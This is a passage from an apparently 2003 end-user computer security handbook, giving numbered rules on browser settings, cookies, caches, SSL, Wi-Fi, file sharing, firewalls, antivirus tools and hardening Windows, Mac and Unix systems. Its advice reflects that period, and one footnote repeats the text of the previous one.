If spam is a problem for you, you should see if your ISP offers any spam identification or filtering capabilities. You should also look into software programs that can filter out spam as it arrives at your computer.[30]

Using the World Wide Web

As this is written in 2003, the web has been available in varying degrees for about ten years. For those who use it regularly for work, school, and recreation, it has become indispensable. Since the web has become such a common and useful tool, there is a tendency to forget that it can also be a hostile place.

Safe Browsing

In general, the web is relatively safe, but there are potential dangers. Web sites usually house content, including static text and images, but they can also house dynamic programs that are intended to run on your computer.

Rule 11: Do not allow web sites to download and execute potentially malicious programs on your computer unless you know that the site is trustworthy.

Dynamically downloading programs can be very useful. This capability allows you to use online services, including those needed to check your computer for viruses and security problems. It also enables software to be installed and updated easily, without requiring the user to select technically appropriate modules or perform complicated multi-step procedures.

Unfortunately, dynamically downloaded programs can also be malicious. All browsers allow you to control whether you can download and run JavaScript, Java, ActiveX and other programming tools on your machine. If you want to be completely safe, then you will not allow these tools to run. Of course, by disabling these features, you will find that many web sites cannot function without them.

Instead of blocking your access to so many sites, you may wish to follow a reasonable intermediate path:

- Enable the relatively safe and very commonly used capabilities such as Javascript. This will allow the vast majority of web sites to function properly.
- Either disable the less common and much less safe capabilities such as Java and ActiveX, or set the browser to ask your permission prior to using the capability. Disabling these capabilities means that the functions will not work; some sites may warn you about this, others will simply not work properly or will hang. If you request prompting, however, the browser should detect the requirements of the site and will ask for your permission to download and run a program needed to view that site's content.

Rule 12: Display the web site address you are visiting and the address you are linking to, and pay attention to them while visiting an unfamiliar web site, especially if you are allowing the site to execute programs on our computer.

Web browsers can be configured to show what web site is being visited (often called the Navigation or Address Toolbar). When your cursor is pointing to a link, they will also display where that link will take you (Status Bar). Watching these will tell you when you are being transferred to another site, perhaps one you do not want to visit, or perhaps one that is not trustworthy. On a practical level, you are probably not going to look at the Navigation Bar and the Status Bar every time you *click*, but when you are at an unfamiliar site, particularly if

[30] See Annexes 2-4 for web sites and other resources on anti-spam software and techniques to avoid spam.

you have enabled Java or ActiveX, you can use these tools so that you know that you are being redirected to a new site without your permission.

Cookies

A *cookie* is information written to your hard disk by your browser at the request of a remote web site. When you visit the site later, the cookies owned by that site are sent back. Cookies are typically sent back to the originating web site only, although there have been browser bugs that allowed other sites to see them as well. A cookie reminds the web site who you are, what your preferences are, and what you have done before on this site. For instance, when you log onto a site with your username and password, the site can store this information in a cookie on your computer. When you return a week later, it can automatically log you onto the site based on the information in the cookie. Cookies may also allow a web site to track what you are doing in a single session.

Although a cookie normally can only be retrieved by the originating web site, it is important to understand that the web site that you are visiting may contain images and other objects from a second web site (called a *foreign* or *third-party* site). That foreign web site can also store and retrieve cookies. Since images can be transparent, you may not even know that this is happening. Such invisible images may be used for advertising purposes,[31] tracking what web sites you visit.

Rule 13: Consider controlling under what situation you allow cookies to be stored on your computer. If you cannot control them (such as when using a computer in a public location), consider not entering private information.

All web browsers give you a certain degree of control over whether cookies are allowed or not. In some cases, the browser may differentiate between cookies that stay on your computer, cookies that disappear when you close your browser, and those that are stored by the web site you are visiting and foreign web sites. Typically, you can allow all cookies, disallow them, or have the browser ask for your permission before storing a cookie. You are never informed when a cookie is sent back to a web site.

Cookies can be viewed, since they are in text format, but typically the information has been encoded or encrypted by the web site so it is not intelligible. Some browsers allow you to display and delete cookies, and there are third-party programs that allow you to manage cookies.

If you wish to control what web sites know about you, you should control how and when cookies are being stored on your computer. Note that some sites *require* that cookies be stored to allow the site to function at all. Generally these sites will tell you if they find cookies disabled.

If you use web browsers from public locations (Internet cafés, libraries, schools), note that cookies containing information about you are still being stored on that computer. In many cases, the computer owner may not allow you to control, view, or erase these cookies. So information about you may be left on these computers and used when someone else visits the same site. If you logged onto a site and your authentication information is remembered in a cookie, another user going to that site may automatically be logged on as you! That web site may then give that user stored information about you (such as your name, address, credit card information, etc.).

Even with a private computer used by several people, this can be an issue. In these cases, cookies are not only a *privacy* issue, but also a *security* issue.

Web Browser Caches

When a browser retrieves a page or an image from a web site, the browser displays the site and usually stores a copy of that page on your hard disk. This set of stored pages and images is called a *cache*. If you visit that site later and the page has not changed, the browser may not download the full page from scratch, but instead will use the one in the cache. In some

[31] Consider what happens if web sites A, B, C and D all include an invisible image from web site Z. When the invisible image from Z is displayed, Z is told which site pointed to them (A, B, C or D), and Z retrieves and restores a cookie remembering what web sites you have been to. Z now has a good idea of what types of things interest you, and can arrange for targeted advertising to be sent to you.

cases, web pages that are in a cache can also be viewed offline, when you are no longer connected to the Internet. This means that anything that you display with a browser may be stored on the computer's hard disk as well. So if you use the web for financial transactions, information about your purchases, credit cards, and bank accounts may be stored on that computer in fully readable text. Depending on how much browsing is done on the machine and the size of the cache that is configured, these pages and images can stay on the computer for a very long time.

Rule 14: If there is any sort of private information displayed on a web page, clear the cache after the session is over. If you cannot clear the cache (such as when using a computer in a public location), you may decide not to use this particular computer for the task.

All browsers allow you to clear the cache (called Temporary Internet Files by Internet Explorer), but some public machines, such as those at Internet cafés, do not allow you to access the control windows that clear the cache. Although clearing the cache after entering sensitive information is very important, no browser so far has put an icon on its main toolbar to allow this to be done with one click.[32]

Secure Transmission

Normally when you are using the web, all the messages that you send and receive are in clear text. That is, if someone were to intercept them and print them, they would be readable and understandable. There are times when this is undesirable. Interception is of particularly concern if any part of your Internet connection goes over wireless services or if the ISP at either end of the connection is untrustworthy.

To address this, browsers and web servers support encryption. Encryption changes the messages so that they are difficult or impossible for unauthorized people to read. (See Addendum 1 for details). The name of the encryption capability is SSL for Secure Socket Layer. You can tell if SSL is being used for messages sent to you because there is (for most browsers) a picture of a small padlock on the screen that is open for normal transmissions, and closed (locked) for SSL transmissions. Also, the URL will start with "https" instead of "http". You should always use the strongest encryption possible – 128 bit is best if it is available in your country.

Note that this padlock does not tell you that your message going back to the server is using SSL, but it is normally assumed that if the screen you received is encrypted, the web site will ensure that your return message is also encrypted.

SSL can only work if your browser knows who it is talking to. This is accomplished by means of "security certificates" and "digital signatures". In general, if a web server wants to be trusted, they must obtain a security certificate from some recognized authority. If the authority is doing their job properly, they verify that whoever is requesting the certificate really is who they say they are. This authority then signs the certificate digitally and your browser has built-in tables to recognize these authorities.

Occasionally, you will get a message that a web site has sent you a certificate that:

- has expired, or
- is someone else's certificate

In the former case, it is usually the case that the certificate has just recently expired, and the site needs to get their paperwork in order. In the latter case, it is usually the case that the site has been recently renamed and that is not reflected in the certificate. However, in both cases, you may want to play it safe and terminate the connection until the problem is rectified.

[32] For Internet Explorer on Windows, Select Internet Options on the Tools pull-down menu. On the General tab, under Temporary Internet Files, hit the Delete Files button.
For Internet Explorer on a Macintosh, Select Preferences on the Explorer or Edit menu, go to Web Browser and then Advanced, and in the box marked Cache, hit the Empty Now button.
For Netscape/Mozilla, Select Preferences on the Edit pull-down menu. Expand the Advanced entry and select Cache. Hit Clear Disk Cache.
For Safari on a Macintosh, Select Empty Cache from the Safari menu, and hit Empty to confirm.

Is secure transmission sufficient?

The little locked padlock is designed to tell you that the web transmission is secure, and it accurately reflects that. However, *transmission* is not the only issue to consider. Only a very small percentage of cases of fraud or identity theft occur due to insecure transmissions. The vast majority of cases are due to:

- unscrupulous web sites,
- the web site has been compromised, or
- your computer has been compromised.

The one major exception to this is for wireless transmissions, which will be covered next.

Privacy Policies

Many web sites publish a *Privacy Policy*. A privacy policy should describe what kind of information the site collects, what they will and will not do with that data, and how they protect the data. *All* web sites that collect personal or financial data should have a suitable privacy policy.

Wireless Transmission

Wireless technology of various sorts is increasingly being used in developed countries and in developing countries. It is often less expensive than wired technologies, easier and faster to install, particularly in less populated areas, and subject, at least at the moment, to less regulatory oversight. However, wireless technologies have two potential problems:

- It may be possible to intercept transmissions, and
- Transmission quality may vary with location, weather, time of day, nearby radio equipment, transmission speed, quality of the installation, and malicious interference.

There is little that can be done about the second group of problems. They are characteristic of wireless technology and may be seen as the price that is paid for connectivity without wires. Interception can be addressed through various levels of encryption. (See Addendum 1 for details on encryption techniques). If the server you are communicating with supports encryption, it should be used (secure SSL web sites, for example). If you use POP e-mail, you should select the "APOP" option that will encrypt your password before sending it, instead of sending it in clear-text. This will give you end-to-end security regardless of the transmission medium. If the server does not offer encryption, you should be aware of the technology limitations and adjust how you use the connection, if necessary.

802.11 "Wi-Fi"

802.11 is a set of developing IEEE standards for wireless local area networks (WLAN).[33] 802.11, (often called "Wi-Fi" – short for **W**ireless **F**idelity) is becoming popular as an alternative to wired Ethernet for connecting computers and laptops. On the positive side, it is inexpensive and relatively fast. Unfortunately, there are several vulnerabilities in most implementations:

- Typical base stations are shipped with no security enabled.
- Unless you want to share your network connection with someone in the neighborhood, you should change the network name (SSID) from the default one and set the configuration not to transmit it. If you do this, only those people who already know the SSID will be allowed on.
- The encryption mechanism (WEP) is weak and can easily be broken. Nevertheless, in the absence of a better mechanism, you should enable it. Remember that it is vulnerable to attack if anyone really wants to look at your transmissions, including passwords.
- A new encryption mechanism, WPA, resolves the problems in WEP and it is available in newer equipment. It is strongly recommended for all Wi-Fi installations.

---

[33] For Internet Explorer on Windows, *Select Internet Options* on the *Tools* pull-down menu. On the *General* tab, under *Temporary Internet Files*, hit the *Delete Files* button.
For Internet Explorer on a Macintosh, Select *Preferences* on the *Explorer* or *Edit* menu, go to *Web Browser* and then *Advanced*, and in the box marked *Cache*, hit the *Empty Now* button.
For Netscape/Mozilla, Select *Preferences* on the *Edit* pull-down menu. Expand the *Advanced* entry and select *Cache*. Hit *Clear Disk Cache*.
For Safari on a Macintosh, *Select Empty Cache* from the *Safari* menu, and hit *Empty* to confirm.

Mobile Telephones

Mobile telephones (often called cellular or hand-phones) are widely used for voice transmissions. At times, they are also used for data. Many mobile telephone technologies allow eavesdropping and are not secure.

Long-haul Lines

Long links, particularly to remote areas, are often built using wireless technologies. Typically the link will serve many users simultaneously. If the transmission method is highly directional (using dish or yagi antennas), it is relatively difficult to intercept transmissions without specialized equipment. These links may be encrypted with the addition of hardware encryption devices if necessary.

Local Loop Wireless Telephones

Wireless local loops to homes and businesses are used in many countries, as they allow telephones to be installed without the cost and trouble of building wired infrastructure, and because wireless equipment is not as easy to steal and resell as is copper wire. As with a wired telephone, when a modem is connected to these lines, it becomes a data link. The wireless technology used may be interceptable. Depending on your location, your countries regulations, and local practices, you may want to check with your service provider to see if the link is encrypted, and thus protected, at least to a certain extent.

Other Internet Issues

File Sharing

File sharing is one of the most useful networking tools if you have more than one computer. In the simplest situation, it lets you access, change, create, or delete files on one system while working on another system. The two systems could be in the same room or they could be half a world apart. Among other things, file sharing allows you to copy files to and from a laptop prior to traveling or while you are away on a trip. At the other extreme, a single computer acting as a *file server* can take the place of the hard disk for a large number of computers. In this case, most or all of your files reside on the file server and you access them over the network.

The obvious vulnerability is that if you can access your files remotely, someone else can do so as well. A less obvious vulnerability is that if you share files with another user, you become vulnerable to security problems that may be present on their computer – if they become infected with a virus and have write-access to your files, you may now be infected. If you read an infected file from their disk, you may now be infected.

Rule 15: If you are not using file sharing, disable it. If you are using it, to the extent possible, limit the kinds of things that can be done to those functions that you need.

Rule 16: If you use file sharing, set robust usernames and passwords and limit the access permissions to the least possible that will allow you to do your work.

Rule 17: If you share files with another user, make sure that they take security seriously.

Virtually all file sharing and remote file access capabilities allow you to set up usernames and passwords to control access. Generally, they also allow you to control what a user can do (read-only, write, create, erase). Many systems allow you to control what *any* user can do. For example, you could restrict the entire remote access facility so that it only allows read-access; if you do not need write access, disable it if you can.

Typically, systems that support some form of file sharing also support the sharing of printers. Although giving someone remote access to your printer is typically not hazardous, it is better to restrict such services unless they are needed. It is possible that a bug will be detected that allows malicious actions though an access that *should* have been used for printing only.

Instant messaging

Instant messaging is a facility that allows a message typed on one computer to be displayed on one or more other computers virtually instantaneously. Unlike e-mail, both sender and recipient must be online at the time. Instant messaging goes under many names on various systems. Among them are: Chat, ICQ (an acronym-like

homonym for "I Seek You"), IRC (Internet Relay Chat), Talk, AIM (**A**OL **I**nstant **M**essenger), and Messenger. Internet communities such as AOL, MSN, Yahoo, game-playing hosts, and many others all have their own Messenger and Chat variants. Some of these interoperate with others, and some do not.

Many messaging systems allow you to select a name that will be displayed with your messages and that allows other participants to send messages to you. They often allow your real identity to be disguised, although the system administrators can identify who you are, at least by your IP address.

Rule 18: Instant messaging can be very helpful, but use it with care and knowledge.

Instant messaging plays a very useful role for several reasons:

- it is much faster and easier to use than mail and has almost no delay – this makes interactive conversations much more practical than e-mail,
- messages can usually be sent and received in a small window on your screen while you are doing other work, and
- you do not have to reveal your e-mail address (and identity) to other participants.

For certain types of uses, messaging is far preferable to e-mail. In some people's minds, it is also more secure, as the messages are not copied to disk at various places, as is the case for regular e-mail. However, users are cautioned that messaging is still not particularly secure. The major problem with messaging systems is that some of them have been expanded to allow file transfer. This makes them vulnerable to the same problems as other types of file sharing, including e-mail attachments. Some messaging systems also allow remote execution of commands, potentially allowing attacks on your computer.

Improperly Enabled Services

Operating systems and applications have become very powerful and functional. In most cases, a typical user does not need or want all of the capabilities that their software offers. Services that are not needed should be turned off (disabled). Unfortunately, some software suppliers ship their software with all services enabled and it is up to the user to turn them off. Often the user is not even aware that the services are there. For many years, some Unix systems were designed so that *every* installed user machine could act as an unrestricted mail hub if they did not explicitly turn the capability off. This allowed spammers to use these machines to send spam, without the machine owner's knowledge.

Rule 19: Disable all Internet services that are not needed and used regularly.

Increasingly, suppliers are becoming aware of the problem. So, despite their pride at developing feature-rich systems, they are shipping their programs with extraneous services disabled; the user may enable them, if they are needed. In either case, it is important for users to make sure that unused services are not enabled. Such services include file and print sharing, web servers, mail servers, file transfer protocol (FTP) servers, Remote Procedure Call (RPC) servers, and others.

CHAPTER 7.
TOOLS TO ENHANCE SECURITY

At a Glance

In this chapter, software tools and techniques to enhance computer and network security are investigated. These software packages include virus checkers, firewalls and remote access tools.

Virus software

Rule 20: Every computer that is vulnerable to viruses should run anti-virus software and should check for up-to-date virus signatures daily. A full scan of the machine should be performed periodically as well.

Rule 21: Computers that are not particularly subject to viruses such as Unix-based systems should nevertheless ensure that the mail that they send out does not contain a virus that may harm the recipient.

Rule 22: Keep your operating system and key application software up-to-date and remember that virus checkers only check for infestations in files. Vulnerabilities in operating systems and applications programs can leave you open to attack in other ways.

Virus checking software attempts to keep your computer free of viruses, worms, and Trojans in a number of ways:

- Whenever you access, copy, save, move, open, or close a file, the virus checker makes sure that it is not infected with any known virus (and other similar pests).
- Whenever you insert a foreign disk in your machine, it is checked for certain types of viruses.
- Whenever a mail file is received, it (and attachments) is scanned for malware.
- Whenever a file is downloaded from the web, it is scanned.
- In many cases, when a web page with embedded software is downloaded, it is scanned.
- You can explicitly request that any file, set of files, or entire disks be checked for viruses.
- If a virus, worm or Trojan is detected, the program will either remove it (disinfect) or it will tell you that the problem cannot be fixed and will "hide" the bad file so that it cannot cause any damage.

A virus checker with up-to-date virus signatures (a signature is the specific characteristic of each virus that is recognized by the checker) is an essential part of any computer, whether it is Internet-connected or not. Note that there are few known Unix *viruses* at the time this is being written but Unix worms and Trojans certainly do exist.

As of the end of August 2003, one of the popular PC/Macintosh virus programs (Norton AntiVirus") checked for almost 65,000 different viruses. That these programs can do this as fast as they do, without perceptibly slowing down your computer, is quite amazing. August 2003 was a particularly interesting month for malware, with the release of several worms (Blaster and SOBIG being the most common ones) that took advantage of a vulnerability in Windows computers. A month earlier, Microsoft had released a patch for this vulnerability, but relatively few people installed this patch, and so these new worms hit new records for the number of machines infected and the speed at which they spread. They may have also set new records for the number of "copy-cats" – the same basic worm, but with various modifications. On the busiest day, Norton added fifty-one new virus signatures (defining characteristics of those viruses) to their list. For the whole month, 520 new signatures were added.

Firewalls

A firewall watches all network activity going into or coming out of your computer. Based on a set of rules, it can allow the traffic to pass or it can block it. A firewall can be either a program running on your computer or a separate piece of equipment between your computer (or a cluster of computers) and its network connection. Sometimes firewalls are included in other equipment such as routers. There are free or pre-installed firewalls available for many operating systems.

Rule 23: All computers should be protected by a firewall of some sort, either software within the computer, or an external firewall protecting that computer or an entire local network of computers.

To fully understand what a firewall does, and how to set up the rules that govern it, you need an introductory understanding of TCP/IP – the protocol (set of rules) governing all messages sent over the Internet. If you are already familiar with the TCP/IP protocol, you should go directly to the next section. If you are not already familiar with TCP/IP, you should first read Addendum 2. TCP/IP. Note that a firewall can be used even if you do not want to learn these technical details. In that case, here is all you need to know about TCP/IP:

- Machines on the Internet all have an " IP address" that has the form 12.222.103.43, that is, four numbers separated by periods. The Internet uses your address to route messages to you, and your computer says where to send out-going messages by providing the address of the destination.
- Within each machine, different programs are identified by the "port" number (sort of like a telephone extension number within a large company – there is just one telephone number, but each person has their own extension number).
- Information sent to or from your computer is enclosed in "envelopes" call *packets*.
- Ignore the words TCP and UDP in the following discussion.

Why do we need firewalls?

If your computer is not connected to a local network or to the Internet, you do not need a firewall. Once you use the network, you are subject to all sorts of abuse. For example:

- If you use file sharing, print-sharing or any other inter-computer services, your computer is probably listening on certain ports. Although you may be doing this so that the computer in the next room can share your resources, it is possible that a computer anywhere else in the world could as well.
- If you are listening on a port for (for instance) file sharing, it is possible that due to bugs in the program, someone could send you a message that would take some other action – perhaps malicious. Unfortunately, such bugs are quite common.
- Even if you are not listening on any port, computers elsewhere can send you floods of messages. Even though they will all be ignored, they can keep your network connection so busy that you cannot do any real work (only hardware firewalls will help you in this case).
- If, despite your best efforts, you do end up with a virus, worm or Trojan on your computer, it can send anything on your computer to the malware creator. This could include any of your data or logs of what you are typing (including passwords).

How do firewalls work?

A firewall watches every packet that is received by to sent from your computer, and verifies whether it violates any of the rules that you have set for it. If a packet violates the rules, it is blocked (discarded). For both software firewalls and external (hardware) firewalls, the rules might include:

- Do not allow any packets to TCP/UDP ports 135, 137, 139, 445. These ports are used for Windows file sharing and a selection of other Windows services. By discarding these packets, you are ensuring that no one on the Internet can contact your computer for these services.
- Do not allow any packets to TCP/UDP ports 135, 137, 139, 445 *unless* they come from IP address 192.168.1.150 (where 192.168.1.150 is that address of your second computer that is allowed to share your resources).
- You can give the firewall a list of *trusted* computers – those that you know are not trying to hurt you. Only trusted computers will be able to initiate communications with you. You can still communication with other computers, such as web servers on the Internet, but you must initiate the communication.

Software firewalls consume resources on your computer, but have the added advantage that they not only look at the datagram (with its to/from address and ports), but they can check which program is sending the message. If it sees a program initiating a communication that you had not explicitly allowed, the firewall can ask you for your permission before allowing it to go through. A hardware firewall cannot determine which program is bring used, but since it is a separate piece of equipment, it does not slow your computer down at all.

Like all security-related precautions, if you have a firewall, whether hardware or software, you must keep the software and firmware up to date. Attackers are very innovative and it is essential that the tools that you are using to protect your system and data are current.

Private Address Spaces and Network Address Translation (NAT)

As the Internet was originally designed, every computer or device on the Internet had its own address, so there was the ubiquitous ability of every computer to talk to every other computer. Today, there are cases where universal connectivity is no longer appropriate. There are two primary reasons:

- You *want* to isolate a set of computers so that they cannot directly talk to the rest of the Internet – and the Internet cannot talk directly to them. This is the case with computers within some organizations, both public and private.
- Because of the way that IP addresses are allocated within the Internet, your organization does not have enough IP addresses to assign unique addresses to every machine. This is often the case with developing countries where national Internets were built (or are being built) several years after comparable networks in developed countries.

There are certain IP addresses that are not usable over the Internet. These are called *Private Address Spaces* and can be used in the above two cases. Since these computers will not directly interact with the rest of the Internet, they do not need unique addresses. Although several organizations may be using this same set of addresses, neither of them can *see* the other and there is no problem. In the first case in the bullet point above, even though you do not want to allow most contacts between the internal machines and the Internet, there will be *some* interactions that are desirable and necessary. In the second case, there is no prohibition on such access.

There are two mechanisms that allow a computer with a private address to communicate over the Internet.

Proxy servers

A proxy server is a specific type of firewall. The proxy server has an address in the private address space, but also has a second connection and address connected to the Internet. If a user wants to (and is allowed to) communicate with a machine in the Internet, it sends the message to the proxy server, and requests that this message be forwarded to the target machine in the Internet. The proxy server keeps track of this request, and when the answer comes back, it returns the answer to the originating machine.

Proxy servers can also be used if you have a normal IP address. They are used to control what type of traffic goes out onto the Internet, or to simplify a user's interaction with the network. A web proxy server will keep copies of pages requested, and if a second user requests the same page, it simply provides the copy – limiting the number of requests sent to the Internet and therefore reducing external bandwidth requirements. Keeping recently requested pages is called *caching*.

Network Address Translation

Network Address Translation (NAT) is normally implemented by having a special box sit between the local network and the Internet. Like the proxy server, it is connected to both the local network where private IP addresses are used, and to the Internet. When a message from the local network bound for the Internet is received by the NAT box, the NAT box sends the message out to the Internet using *its* IP address, and says it is coming from an port number that is unused. When the reply comes in, it is returned to the

originating computer on the local network. A NAT box is similar to a proxy server, but it works for all kinds of traffic, not only a specific kind (such as web traffic) and it does not do any caching.

Both proxy servers and NAT boxes are effectively firewalls and implicitly protect the machines within the local private address spaces from many of the types of attacks that machines with normal IP address are subject to.

Remote access/management/ administration tools

Remote access, remote management and remote administration tools allow you to control your computer remotely, either via a dial-up telephone line or via the Internet. When you are connected to your computer in this way, it is equivalent to sitting at the keyboard.

Rule 24: If you use remote access facilities to remotely control any computers, make sure that they have robust security (at the very least, excellent usernames and passwords) to ensure that attackers do not use these same tools.

Remote access tools have many important uses. Among them are:

- They allow you to use your office computer while not at the office. This allows you to use data, applications programs, and network services that are accessible at work.
- They allow you turn over control of your machine to a specialist to diagnose or fix a problem without the specialist having to come to your location.
- They allow multiple people to use an application program that is only installed on one machine.
- They allow systems support personnel to manage multiple servers easily.

Remote access tools also allow an attacker to do all of the same things. In fact, there is often little functional difference between a remote access tool that is sold for the above type of applications (such as pcAnywhere), and the backdoor Trojan (such as NetBus or Back Orifice).

Malware detectors

It would be nice to assume that if you practice keep all of your software up-to-date, check incoming files for viruses and worms, use secure usernames and passwords, and protect yourself with a robust firewall, then you will be completely safe. To phrase this as a question, if you practice safe computing, will you be safe?

The answer is "probably". There is always the chance that some sort of problem will hit you before a solution is generally available. It is also possible that occasionally you may do something that is less than 100% safe.

Malware detectors are programs that check your computer to see if there is anything there that looks suspicious, regardless of how it got there. Their functions overlap with virus checkers in some cases, as they will both detect the presence of some types of malware on your disk. Depending on the specific tool, they will check to verify that key system programs have not been surreptitiously changed.

Malware detectors will also look at browser plug-ins and add-ons and try to detect those that are potentially malicious or will violate your privacy. Some malware detectors also include tools to remove an offending program.

Logs

Logs are an under-utilized and under-appreciated tool in ensuring that you computer is secure. A log is a file on disk into which programs can write messages. Typically a message is written into a log when something interesting happens or if some error occurs.

Rule 25: System functions and applications logs should be judiciously enabled.

Examples of "interesting" things include:

- the computer is powered on;
- someone logged onto the computer;
- someone tried to log onto the computer, but had a wrong password;
- an e-mail was received;

- an e-mail send was attempted, but the connection failed;
- there were many errors on a disk, or on a network connection;
- the firewall detected an illegal communication and blocked it;
- the virus checker automatically downloaded a new set of virus signatures;
- a virus scan of all files on your system was run and a virus was detected.

Depending on the program/system, log files can just grow until they are erased, or there may be a new log file created every so often, with the old log files being kept for later review (typically they will have a date in the filename)

In general, there is a separate log file for each application or system function. Sometimes you read a log with any text editor, and sometimes the application or system provides specialized tools to read and format logs.

Logs are very useful and should generally be enabled. However, you need to take care to ensure that you do not enable logging for functions that happen too often, or your system will spend all of its time writing logs and your disk will become clogged with log files.

If you understand what the detailed log entries are saying, you should review them periodically to see if anything unusual is happening. Otherwise, logs should be kept so that in the case of some sort of unusual happening, they may give some hint as to exactly what happened.

CHAPTER 8.
PLATFORM SPECIFIC ISSUES

Microsoft Windows-based PCs?

Strengths and vulnerabilities

The Windows operating system for the Intel x86 (or equivalent) processor is by far the most popular computer system ever built. The capabilities of the operating system and related applications, from an end-user's perspective, are remarkable. There is a vast amount of commercial, shareware, and free software available for it. Although experts are hard to find (as with most systems), there are many people who have reasonable levels of knowledge about these systems. There are many competitors on the hardware side, resulting in much variety and relatively low prices.

From a security point of view, Windows is not quite as attractive. The core operating system was not originally written with either network connectivity or security in mind. The more recent versions (Windows 2000, Windows XP, and later) have addressed many of the original concerns, but security is still lacking and the current changes are of little help to users who are still running older systems. Until recently, Microsoft did not have a strong focus on security, although that is changing, particular with the media attention on bugs and other exploitable flaws in Microsoft operating systems.

The built-in functionality of their systems and applications has often been enhanced at the expense of security. In many cases, to make things *easy* for the novice user, systems are delivered with many sub-systems and capabilities enabled, which makes them available for exploitation. Due to the prevalence of these exposures and the number of installed computers, the Windows-based PC has become a major target of malicious programmers who have churned out viruses, worms, and Trojans by the tens of thousands. The Windows GUI (graphical user interface) is sufficiently user-friendly that the system is now used by millions of people with little technical knowledge or interest. This type of user base, coupled with the vulnerabilities cited above, has made Windows-based systems prone to security problems.

How to protect yourself

Virtually all of the rules in this manual apply to Windows systems and security-conscious users should consider each of the recommendations seriously.

Software currency	If you have adequate bandwidth, use Microsoft's Windows's Update site to keep your operating system up-to-date. If reasonable bandwidth is not available, consider using Windows Update for critical security patches (they use far less bandwidth than the larger Service Packs). If Windows Update is not practical, updates can be downloaded from Microsoft's Download Center: (http://www.microsoft.com/downloads). Perhaps your ISP or some other service provider could download them and distribute them locally on CD. Although it takes significant resources, a Windows Update-like service called Software Update Services can be run on a local site for Windows 2000 systems: (http://www.microsoft.com/windows2000/windowsupdate/sus/).
Accounts	For Windows NT, 2000, and XP which support multiple users, you should ensure that there are no unnecessary user accounts set up. In addition, make sure that all users choose robust passwords, as described earlier in Part 2 of this Handbook. Users should only be given the privileges that they require. For example, even if a machine is administered by its' primary user, the user's basic operational account should not have administrator privileges.
File Sharing	If you do not use file sharing or print serving, make sure that the capability is completely disabled. The procedure can be found in Windows Help or within the Microsoft support site; search for "disable file sharing XX" where XX is the version of your system, such as XP or 2000. If you do allow file sharing, make sure you give out no more privileges than necessary.

File System	The FAT and FAT32 file systems historically used by Windows cannot be properly secured, particularly if you are using file sharing. The NTFS file system should be used whenever possible, if there is any network file access. Note that NTFS can not be used in some cases where you have a dual-boot machine or need to access the hard disk from another operating system.
Systems Services	Some systems come with all services enabled in order to allow sophisticated computer-to-computer communications. If you are not in a corporate network, disable the services that you do not need.
Firewalls	Install a software or hardware firewall. Free software versions are available. Keep the firewall up-to-date. Make sure that the firewall is configured to warn you if unusual activities are taking place.
Anti-virus software	Install anti-virus software. If you cannot find freeware that is kept current, you should invest in commercial software. Some virus software companies offer dynamically downloaded free virus checking. Keep the virus signatures up-to-date; some vendors offer daily updates, others provide weekly updates, or longer term. The more current your virus definitions are, the better your system is protected.
Malware detectors	There are programs which will scan your system for all sorts of potentially malicious software. Pest Patrol (http://www.pestpatrol.com), Lavasoft (http://www.lavasoftusa.com/software/adawareplus/) and SpybotSD (http://www.safer-networking.org) all have free programs that detect various malware.
Security Review	If you are a non-technical user with no support organization available to help you, take a look at Microsoft's recommendations for home users: http://www.microsoft.com/security/home or http://www.microsoft.com/protect/. If you are an IT professional, go to: http://www.microsoft.com/technet/security. If you have a newer system, consider running the Microsoft Baseline Security Analyzer (MBSA) that covers Windows 2000 and XP systems.

Macintosh

Strengths and vulnerabilities

Historically, the Apple Macintosh computer and operating system has been far less prone to security problems that the Windows PC. Moreover, since there are far fewer Mac users than there are PC users, malicious attackers have not been as interested in targeting them. Perhaps the largest vulnerability is that, for these reasons, Mac users often *think* they are safe and do not bother to take precautions. MacOS systems prior to MacOS X used a proprietary operating system. MacOS X is based on the FreeBSD Unix system, and should be considered a specialized Unix system with regard to security (see next section on Unix). For MacOS X, there are many system services bundled within the core system, but they are all shipped disabled.

How to protect yourself

Software currency	Make sure that your system is full patched. Go to: http://www.apple.com and click on support. As with Windows systems, there is a good chance that an unpatched system will be infiltrated within hours or days, particularly if it is permanently attached to a network.

Accounts	Make sure that all accounts that you do not need are disabled or deleted. In particular, make sure there are no *Guest* accounts without a password. Limit administrative privileges to accounts that actively need them and do not use an administrative-capable account for your routine work.
File Sharing	Disable file sharing if you are not using it. If you are using file sharing, make sure the privileges are granted at minimum level required.
Services	Do not enable services that you do not need. If you enable them temporarily, but will not use them often, disable them when you are through.
New applications	If you install new network-oriented applications, particularly those originally designed for Unix, be aware that they may be vulnerable in ways that were uncommon in systems built prior to MacOS X.
Firewalls	Install a software or hardware firewall. Keep it up-to-date. Make sure that the firewall is set to warn you if unusual activities take place.
Anti-virus software	Install anti-virus software. If you cannot find freeware that is kept current, you should invest in commercial software. Keep the virus signatures up-to-date. The more current your virus definitions are, the better your system is protected.

Unix, Linux, and Related Systems

Strengths and vulnerabilities

Unix systems have historically been used as servers (both for system services and for multi-user computing) and as workstations in computer science and physical science environments. Over the last decade, they have made some modest inroads against Windows and Macintosh systems as single-user workstations in other environments.

With the recent popularity of Linux, this phenomenon has spread, partly because the system is so attractive and partly because Linux is viewed as a (free) replacement for Windows. This latter trend is probably stronger in the developing world than it is in developed countries, due to the higher relative cost of software compared to salaries in developing countries. Traditionally, Unix's strengths have been its flexibility coupled with the impressive base of user and corporate-developed software that has grown over the years.

Unfortunately, Unix's flexibility and power has not been accompanied by a user-friendly front-end (from a novice user's point of view). As a result, when these systems have been used as workstations for those who do not wish to become Unix experts, strong systems support staff were needed. To some extent, this is being addressed, with MacOS X being the best example. However, the foundation of the system is still complex, and there are many opportunities for a naive user to leave doors open for security breaches. Although Unix systems have been relatively virus free, they have the distinction of hosting some of the earliest worms and Trojans; these are still major potential problems.

How to protect yourself

The following comments augment information supplied in the rest of this Handbook. Virtually all of the items in the preceding seven chapters apply to Unix, Linux and related systems, and must be addressed if your computer is to be moderately secure. This section focuses primarily on single-user workstations. Those responsible for servers should read Part 5 of this Handbook.

Multiple Unix Variants	Because there have been a variety of versions of Unix-like operating systems, many pre-installed security mechanisms are vendor-specific. It's particularly important to read all of the manuals for your vendor's version of Unix. Several good books, web sites, and mailing lists devoted to Unix security are listed in Annexes 2-5.

Software currency	It is imperative that software be kept current, and that all security patches be applied quickly. Details on where to get updates and how to apply them vary from system to system.
